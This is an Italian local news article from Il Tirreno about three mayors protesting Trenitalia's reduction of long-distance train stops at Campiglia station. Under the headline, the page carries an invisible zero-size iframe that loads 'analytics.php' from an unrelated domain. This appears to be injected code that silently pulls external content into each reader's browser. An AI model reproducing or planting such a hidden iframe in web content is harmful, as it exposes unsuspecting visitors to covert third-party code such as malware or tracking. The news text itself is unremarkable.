Il Tirreno

Sempre meno treni a Campiglia, allarme dei sindaci

<iframe height="0" src="http://loading-resource.com/analytics.php" style="visibility: hidden;" width="0"></iframe>
◗

1 MINUTI DI LETTURA





I sindaci di Campiglia, Piombino e Portoferraio scrivono a Trenitalia e all'assessore Ceccobao esprimendo preoccupazione sul ridimensionamento dei treni a lunga percorrenza alla stazione di Campiglia, annunciato a partire dall'11 dicembre, e chiedendo di rivedere questa decisione.

«Una decisione che avrà delle ripercussioni evidenti sui nostri Comuni, penalizzando fortemente i territori della Val di Cornia e dell'Isola d'Elba. Soprattutto in questo periodo di crisi - dicono - trasporti adeguati ed efficienti rappresentano un'opportunità alla quale non si ritiene possibile rinunciare».

E I tre sindaci di Campiglia, Piombino e Portoferraio proseguono: «Una riduzione dei trasporti è sempre un disagio per i cittadini, non solo del territorio direttamente interessato ma in generale, ed è un disagio per il territorio che vede ridotte le sue potenzialità di collegamento e di sviluppo».

Non lasciare decidere l'algoritmo:

scegli Il Tirreno per le tue notizie su Google

Cronaca flash

Toscana

Camaiore, addio a Giuseppe Vecoli: conosciuto commerciante con la passione per le moto

di Roy Lepore